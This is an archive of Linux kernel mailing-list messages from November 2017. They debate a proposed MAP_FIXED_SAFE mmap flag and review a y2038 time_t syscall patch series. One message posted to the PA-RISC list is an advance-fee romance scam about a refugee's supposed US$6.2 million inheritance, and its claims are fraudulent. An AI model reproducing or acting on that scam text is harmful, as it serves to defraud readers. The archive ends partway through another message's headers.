References: <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <20171113151641.yfqrecpcxllpn5mq@dhcp22.suse.cz>
 <20171113154939.6ui2fmpokpm7g4oj@dhcp22.suse.cz>
 <20171113160637.jhekbdyfpccme3be@dhcp22.suse.cz>
 <87a7zpw75f.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510651763 19381 195.159.176.226 (14 Nov 2017 09:29:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 09:29:23 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Joel Stanley <joel@jms.id.au>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Nov 14 10:29:17 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eEXWs-0006EQ-Lk
	for glps-linuxsh-dev@m.gmane.org; Tue, 14 Nov 2017 10:29:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753280AbdKNJ3W (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Tue, 14 Nov 2017 04:29:22 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:44192 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752319AbdKNJ3T (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Tue, 14 Nov 2017 04:29:19 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 634C6AAB5;
        Tue, 14 Nov 2017 09:29:17 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <87a7zpw75f.fsf@concordia.ellerman.id.au>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55884 gmane.linux.kernel.next:44291 gmane.linux.kernel:2616350 gmane.linux.ports.arm.kernel:614016 gmane.linux.ports.ppc64.devel:150222 gmane.linux.ports.mips.general:62139 gmane.linux.ports.parisc:27991 gmane.linux.ports.sparc:26871
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55884>

On Tue 14-11-17 20:18:04, Michael Ellerman wrote:
> Michal Hocko <mhocko@kernel.org> writes:
> 
> > [Sorry for spamming, this one is the last attempt hopefully]
> >
> > On Mon 13-11-17 16:49:39, Michal Hocko wrote:
> >> On Mon 13-11-17 16:16:41, Michal Hocko wrote:
> >> > On Mon 13-11-17 13:00:57, Michal Hocko wrote:
> >> > [...]
> >> > > Yes, I have mentioned that in the previous email but the amount of code
> >> > > would be even larger. Basically every arch which reimplements
> >> > > arch_get_unmapped_area would have to special case new MAP_FIXED flag to
> >> > > do vma lookup.
> >> > 
> >> > It turned out that this might be much more easier than I thought after
> >> > all. It seems we can really handle that in the common code. This would
> >> > mean that we are exposing a new functionality to the userspace though.
> >> > Myabe this would be useful on its own though. Just a quick draft (not
> >> > even compile tested) whether this makes sense in general. I would be
> >> > worried about unexpected behavior when somebody set other bit without a
> >> > good reason and we might fail with ENOMEM for such a call now.
> >> 
> >> Hmm, the bigger problem would be the backward compatibility actually. We
> >> would get silent corruptions which is exactly what the flag is trying
> >> fix. mmap flags handling really sucks. So I guess we would have to make
> >> the flag internal only :/
> >
> > OK, so this one should take care of the backward compatibility while
> > still not touching the arch code
> 
> I'm not sure I understand your worries about backward compatibility?

Just imagine you are running an application which uses the new flag
combination on an older kernel. You will get no warning, yet you have no
way to check that you have actually clobbered an existing mapping
because MAP_FIXED will be used the old way.

> If we add a new mmap flag which is currently unused then what is the
> problem? Are you worried about user code that accidentally passes that
> flag already?

If we add a completely new flag, like in this patch, then the code using
the flag will not clobber an existing mapping on older kernels which do
not recognize it (we will simply fall back to the default hint based
implementation). You might not get the mapping you asked for which sucks
but that is not fixable AFAICS. You can at least do

	mapped_addr = mmap(addr, ... MAP_FIXED_SAFE...);
	assert(mapped_addr == addr);

So I do not think we can go with the modifier unfortunatelly.
-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Tue, 14 Nov 2017 15:24:40 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1510669488 28668 195.159.176.226 (14 Nov 2017 14:24:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 14:24:48 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Nov 14 15:24:39 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eEc8k-0005WD-Dd
	for glka-linux-arch@m.gmane.org; Tue, 14 Nov 2017 15:24:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755491AbdKNOYo (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Tue, 14 Nov 2017 09:24:44 -0500
Original-Received: from mail-qk0-f196.google.com ([209.85.220.196]:52586 "EHLO
        mail-qk0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754693AbdKNOYl (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Tue, 14 Nov 2017 09:24:41 -0500
Original-Received: by mail-qk0-f196.google.com with SMTP id a194so22067494qkc.9;
        Tue, 14 Nov 2017 06:24:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=63wVBRFDD5IXE1oFYN4U5y23nIPoeFWTS7VC6hGV0j0=;
        b=fpoVBS7a20gbhNlmtdGvJF2PtXxYa89JxpGFL+3y8mTanrsTzF6BIqoRQrYg4z5qHq
         DE2NJoxj5AveuRn0l2kfjvQFpOsLklODETEvGH0NurD4Hh4RzKDdkzisUSOnzqbHhRbP
         nL977us3bga5Wvq1atagh4c92ZbcnLt0NQ9QdXTZLfBszKuR8yM60oXsP7SXn3MTY1UF
         yYyr2+C5/+t+bFZlOJpLtbIpBCgQlQMIgvc37X379PNcuZsgWGpGOilerCo/PCoet4rp
         QeR75Fhav762D/zOJvNwZgvA33JCCe6P+oHqU2uGHFM9BYYK1cIKSrDZb7zdjhXfOZK+
         ec2A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=63wVBRFDD5IXE1oFYN4U5y23nIPoeFWTS7VC6hGV0j0=;
        b=UAvSw+JMXj9nscKB+fSY16hl2QUrGRS0ccBTdSJn5M0sEWvKZjyzn+NGSvHdetK1+A
         32Yi5TnhxABV8c+RGcvAAmUpOYAq9HC0zIF0tIwYUn//YnSd1/8q5D5IwHO9J3Ffa4oH
         mzkLlyuf1y6sS+MBZsixB0J9Vw33mz4bEmvB1Waviy0Of1aww8YB5BYRsoj0B1K3LKQD
         HjcFMunUlFtB2BDAZpZzoXbAU8WF4l37DgXqwXaVQHspUkR/Y9jvP3QieDmSgYFsYMZ3
         PCBrQdch1zOmt5lMQ8nRbd0CmLWESyZODqk+dPqLW8UuGHozqvkdxeHhi6b7bW5LAJsO
         pQ4w==
X-Gm-Message-State: AJaThX4ipEIbaw6b1h/PsRZtZZlG7xhHmI+iq6Ji7rTNBgRA3xZeMSwy
        PT+XT+gEvFn11UR5zfqHMEWe0XKyRI7v6uAegHk=
X-Google-Smtp-Source: AGs4zMZlweHwtNJ6NextUglajEeNPPUaGSzd09g+fJXQyW3O5alqPoUzBXBqBh9Ui3vtwWew6M0bXdRwo85+QFpiClI=
X-Received: by 10.55.20.96 with SMTP id e93mr19272819qkh.253.1510669480719;
 Tue, 14 Nov 2017 06:24:40 -0800 (PST)
Original-Received: by 10.200.47.182 with HTTP; Tue, 14 Nov 2017 06:24:40 -0800 (PST)
In-Reply-To: <20171110224259.15930-1-deepa.kernel@gmail.com>
X-Google-Sender-Auth: GNPylGxIku_J1NINxTv2WxcotoI
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40139 gmane.linux.kernel:2616558 gmane.linux.kernel.year-2038:2296 gmane.linux.kernel.api:25647 gmane.linux.ports.mips.general:62150 gmane.linux.ports.parisc:27992 gmane.linux.ports.ppc64.devel:150257 gmane.linux.oprofile:13104 gmane.linux.ports.sparc:26875
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40139>

On Fri, Nov 10, 2017 at 11:42 PM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> The series is a preparation series for individual architectures
> to use 64 bit time_t syscalls in compat and 32 bit emulation modes.
>
> This is a follow up to the series Arnd Bergmann posted:
> https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html
>
> Big picture is as per the lwn article:
> https://lwn.net/Articles/643234/
>
> The series is directed at converting posix clock syscalls:
> clock_gettime, clock_settime, clock_getres and clock_nanosleep
> to use a new data structure __kernel_timespec at syscall boundaries.
> __kernel_timespec maintains 64 bit time_t across all execution modes.
>
> vdso will be handled as part of each architecture when they enable
> support for 64 bit time_t.
>
> The compat syscalls are repurposed to provide backward compatibility
> by using them as native syscalls as well for 32 bit architectures.
> They will continue to use timespec at syscall boundaries.
>
> CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
> or timespec at syscall boundaries.
>
> The series does the following:
> 1. Enable compat syscalls unconditionally.
> 2. Add a new __kernel_timespec type to be used as the data structure
>    for all the new syscalls.
> 3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
>    [1] and [2] to switch to new definition of __kernel_timespec. It is
>    the same as struct timespec otherwise.
>
> Arnd Bergmann (1):
>   y2038: introduce CONFIG_64BIT_TIME

The series looks good to me overall, and I've added it to my build-testing tree
to see if it shows any regressions in random configurations.

I had on concern about x32, maybe we should check
for "COMPAT_USE_64BIT_TIME" before zeroing out the tv_nsec
bits.

Regarding CONFIG_COMPAT_TIME/CONFIG_64BIT_TIME, would
it help to just leave out that part for now and unconditionally
define '__kernel_timespec' as 'timespec' until we are ready to
convert the architectures?

       Arnd


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Khalid Aziz <khalid.aziz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: linux-next: Tree for Nov 7
Date: Tue, 14 Nov 2017 07:52:25 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <1510671145.4344.1.camel@oracle.com>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
 <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
 <87lgjawgx1.fsf@concordia.ellerman.id.au>
 <20171113120057.555mvrs4fjq5tyng@dhcp22.suse.cz>
 <87h8txw87w.fsf@concordia.ellerman.id.au>
 <20171114090444.lhrkuywuls26g6lu@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510671542 19167 195.159.176.226 (14 Nov 2017 14:59:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Nov 2017 14:59:02 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 "James
 E.J. Bottomley" <jejb@parisc-linux.org>, Max Filippov <jcmvbkbc@gmail.com>,
 sparclinux@vger.kernel.org, Stephen Rothwell <sfr@canb.auug.org.au>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Helge Deller <deller@gmx.de>,
 Russell King <linux@armlinux.org.uk>,
 Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
 Linux-Next Mailing List <linux-next@vger.kernel.org>,
 Joel Stanley <joel@jms.id.au>, linux-xtensa@linux-xtensa.org,
 linux-arm-kernel@lists.infradead.org, Chris Zankel <chris@zankel.net>,
 linux-parisc@vger.kernel.org,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 Ralf Baechle <ralf@linux-mips.org>, Andrew Morton <akpm@linux-foundation.org>,
 linuxppc-dev@lists.ozlabs.org, "David S. Miller" <davem@davemloft.net>
To: Michal Hocko <mhocko@kernel.org>, Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Nov 14 15:58:56 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1eEcfp-0004Jq-As
	for linux-arm-kernel@m.gmane.org; Tue, 14 Nov 2017 15:58:49 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:Mime-Version:References:In-Reply-To:
	Date:To:From:Subject:Message-ID:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=/aOiYCFiY4SGPRlhXHCoWSEfCfJIgUvmpfk8j4vXMWs=; b=QipXceI8nL+gTF
	OzEpIMQ3aubhsWNoLoV5KOEAYkilFLexoPXqY4MuNRZ9N0efM6Rm96HPoRfgHITGsmggBsw0KU0We
	wPg8UpkQagpaq8JAKilKaNgKvD1T6gj23FHpwtjiiIUVHPkB5TSuTE3POmIqkuvsAihLnu07wwi/b
	BsDnK+cdQtJhk5yN3JQyYDN9QyYZWpIPF4zi/YK87heExIjuGeD06Fd+1IBl2knhCla85oI2LpEH7
	RfofjLDBWWwMxP21iW/Sca7yJ5rZyq46I0q4bdf/Rrz+PZBJEOaZUA7Gp8XaLOXRVZN8qRJ82zHvu
	5hmMAEt2yY4TnaArdI4w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1eEcfu-0001u2-JE; Tue, 14 Nov 2017 14:58:54 +0000
Original-Received: from userp1040.oracle.com ([156.151.31.81])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1eEcfq-0001sa-Lm
 for linux-arm-kernel@lists.infradead.org; Tue, 14 Nov 2017 14:58:52 +0000
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
 by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id
 vAEEqaGh001275
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Tue, 14 Nov 2017 14:52:36 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
 by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id vAEEqajP014538
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Tue, 14 Nov 2017 14:52:36 GMT
Original-Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14])
 by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id vAEEqS6C014995;
 Tue, 14 Nov 2017 14:52:30 GMT
Original-Received: from concerto (/24.9.64.241) by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Tue, 14 Nov 2017 06:52:27 -0800
In-Reply-To: <20171114090444.lhrkuywuls26g6lu@dhcp22.suse.cz>
X-Mailer: Evolution 3.22.6-1ubuntu1 
X-Source-IP: userv0021.oracle.com [156.151.31.71]
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20171114_065850_930171_428C08ED 
X-CRM114-Status: UNSURE (   7.68  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:614077 gmane.linux.ports.mips.general:62151 gmane.linux.ports.sh.devel:55885 gmane.linux.ports.sparc:26876 gmane.linux.kernel.next:44295 gmane.linux.ports.parisc:27993 gmane.linux.kernel:2616594 gmane.linux.ports.ppc64.devel:150260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/614077>

On Tue, 2017-11-14 at 10:04 +0100, Michal Hocko wrote:
> If there is a general consensus that this is the preferred way to go,
> I
> will post the patch as an RFC to linux-api
> 
> [1] http://lkml.kernel.org/r/20171113160637.jhekbdyfpccme3be@dhcp22.s
> use.cz

I prefer the new flag. It is cleaner and avoids unintended breakage for
existing flag.

--
Khalid

From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: " M,Shakour Rosarita" <hassanamira04@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Hello Dear...
Date: Wed, 15 Nov 2017 11:34:09 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <CADmkupiA2objgsQxK=03WmWJhZVp3+F-yDxXOLOm2rgTnpKhzw__1920.463567558$1510745692$gmane$org@mail.gmail.com>
Reply-To: mshakourrosarita22@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1510745692 30820 195.159.176.226 (15 Nov 2017 11:34:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Nov 2017 11:34:52 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 15 12:34:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eEvxs-0007RN-GA
	for glpp-linux-parisc@m.gmane.org; Wed, 15 Nov 2017 12:34:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757680AbdKOLet (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 15 Nov 2017 06:34:49 -0500
Original-Received: from mail-qt0-f196.google.com ([209.85.216.196]:50064 "EHLO
        mail-qt0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1757682AbdKOLeK (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 15 Nov 2017 06:34:10 -0500
Original-Received: by mail-qt0-f196.google.com with SMTP id p44so23082366qtj.6
        for <linux-parisc@vger.kernel.org>; Wed, 15 Nov 2017 03:34:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to
         :content-transfer-encoding;
        bh=5keLUiTolM1a3xP7/CdvTdsfD2aTuk2UIM3JfcJJ/oQ=;
        b=b2iJIzP3z02baxoY3+uHZ6k+S142mDXlBrctADh0WB2PBZRsyrjIQ2wZO/KeTy2pD3
         qFEisxjQfzat2UZ1Lm1ybio4wRIcJbI/+E4SQmGs22TXAAGExj76P/lvuqVDkL9QtuU1
         elm7XY6M8lEPP5UA/2JYRBqfv2skEzUgSDXboKfo95aGUJGP772Fz8Dygr2k8Rg8cgAS
         +ElsA89REXwdtIP6tVEYCmCmpMQj1B3UQdoqBAKjEvj2FXdrMSf/ieVCdSqGxxhcKK6J
         6QBVz0YFkEhkp5kvbV8MbtFWtumcfN/xxUYosvwc4IFtCGwf/ZdDgUPapWgincNlcA4m
         9BXA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to:content-transfer-encoding;
        bh=5keLUiTolM1a3xP7/CdvTdsfD2aTuk2UIM3JfcJJ/oQ=;
        b=PzgmWYfgu0/sIoWoH65tPcGuIMqCAjVvz6/sIl6XBXdRkoDD9b81NI7z3F31ng6lGM
         0Yiw+YRFulcJfa26Jsn8iQ0qTm7cDrEcpkbAPQV69CEcdZ/pSWpKQ5dlg+21Xa6exuyD
         djLG9XkSgYbPD5l4PF+boqSH5cvZ8iRn6fSxc4TExFANrwR51zyUWWCEhancyJN7AG5y
         myba6riqWFerqJudnT4avml7jK0p382UZ6JTfTmfg20zt6T2Ytcf+x/D97LFxq9H3f/C
         TUB1oNSKj6ZyL83JrUkGFmwd2wfwsSuFtOw13oWJImsJ6GPQXNeBee6SS0vmdW20m7/j
         63DQ==
X-Gm-Message-State: AJaThX7G4KM6LyXditZweHykV7eFoYzkHwXM1njbetCwlcbbboDkaxGM
        9X47XpqNcXwL7AS1n+F5YVG+zOUML/gFUxGPef4=
X-Google-Smtp-Source: AGs4zMYnZPLsjaLZUSY80TpPr+mDHG1in9yWZwU78Yl35OYW/7WL29Ud1xXfQx3yyMLV7vX9MLxYCIdLeuGyU/TNcdA=
X-Received: by 10.200.35.215 with SMTP id r23mr10697088qtr.174.1510745649620;
 Wed, 15 Nov 2017 03:34:09 -0800 (PST)
Original-Received: by 10.140.108.135 with HTTP; Wed, 15 Nov 2017 03:34:09 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27994>

Hello Dear...

I know that this message will come to you as a surprise. I hoped that
you will not expose or betray this trust and confident that I am about
to repose on you, my name is M, Shakour Rosarita. I am 19 years old
Girl, female, from Tartu Syria, (never married) 61 kg, white in
complexion, and I am currently living in the refugee camp here in
Abidjan Ivory Coast, My late beloved father M,Shakour Hassin was a
renowned businessman and owner of Natour Petrol Station in Syria, he
was killed in a stampede riot in Tartu, Syria.
When I got the news about my parents. I fled to a nearby country
Jordan before I joined a ferry to Africa and came to Abidjan capital
city Ivory Coast West Africa find safety here.
I came in 2015 to Abidjan and I now live in refugee camps here as
refugees are allowed freely to enter here without, My late father
deposited (US$6.200.000.00m) My late father kept the money at the bank
of Africa, I want you to help me transfer the money to your hand so
that you will help me bring me into your country for my continue
education.

I sent my pictures here for you to see. Who I am seriously looking for
a good-person in my life, so I want to hear from you soon and learn
more about you.

I am an open-minded and friendly girl to share a good time with you
and have fun and enjoy on the go, bird watching, the rest of our
lives. My Hobbies, tourism books, dance, music, soccer, tennis,
swimming and cinema.
I would just think about you, including your dose and doesn=E2=80=99t .I
believe we will do well together, and live like one family.
Thank you and God bless you, for you in your promise to help me here,
looking forward to your reply by the grace of God and have a good day.
I hope you send me your photos as well? I await your next reply in
faith please reply through my private email at
(mshakourrosarita22@gmail.com):
Thanks.
Ms Rosarita
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
